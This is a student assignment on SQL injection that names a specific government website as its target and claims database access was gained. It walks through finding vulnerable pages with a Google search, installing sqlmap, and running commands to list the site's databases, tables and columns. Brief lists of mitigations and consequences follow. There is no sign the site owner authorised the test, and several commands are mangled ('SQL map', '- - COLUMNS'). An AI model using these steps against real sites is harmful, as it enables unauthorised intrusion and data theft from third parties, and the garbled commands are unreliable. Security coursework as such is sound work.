# **Assignment**

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Division- E

**SUBJECT- CYBER-SECURITY &** 

**FORENSIC** 

**COURSE-BCA** 

# 2. Name of Target:

https://www.mudp.gov.bd/photo-gallery.php?id=18

POC: -

## Level of Attack:

### Level 3: - Database Access

By using sqlmap to identify the database type and list of databases. You've successfully bypassed the authentication mechanism and gained access to the underlying database. this is a significant vulnerability as it allows on attacker to access sensitive data, modify database records, and potentially execute arbitrary SQL commands.

## Steps: -

- 1. Open your preferred web browser (I'm using firebox). Navigate to <a href="www.google.com">www.google.com</a> (Search detail.php?id=1).
- 2. We can proceed to test them for SQL injection using a tool called sqlmap. \$ Sudo apt install sqlmap.
- 3. Once the installation is complete, run the following command to find SQL injection vulnerabilities using sqlmap:
- 4. \$ SQL map -u "URL" -dbs



6. To find the number of tables in a specific database, use the command: \$ SQL map -u "URL" -D <Database name> --tables



8.To find the number of tables in a specific database, use the command: \$ SQL map -u "URL" -D <Database name> - - COLUMNS



### Use prepared Statements & parameterized queries.

- 1. Input validation.
- 2. Use Stored procedures.
- 3. Limit Database privileges.
- 4. Web application firewall (WAF)
- 5. Error Handling.

### > CONEQUENCES OF SQL INJECTION ATTACKS: -

- 1. Data breach
- 2. Data Manipulation
- 3. Unauthorized Access
- 4. Website Defacement
- 5. Financial Loss
- 6. Service Disruption

#### > RECOMMENDED ACTIONS: -

- 1. Use the latest version of database & web technologies.
- 2. Sanitize Input.
- 3. Monitor & log Activities.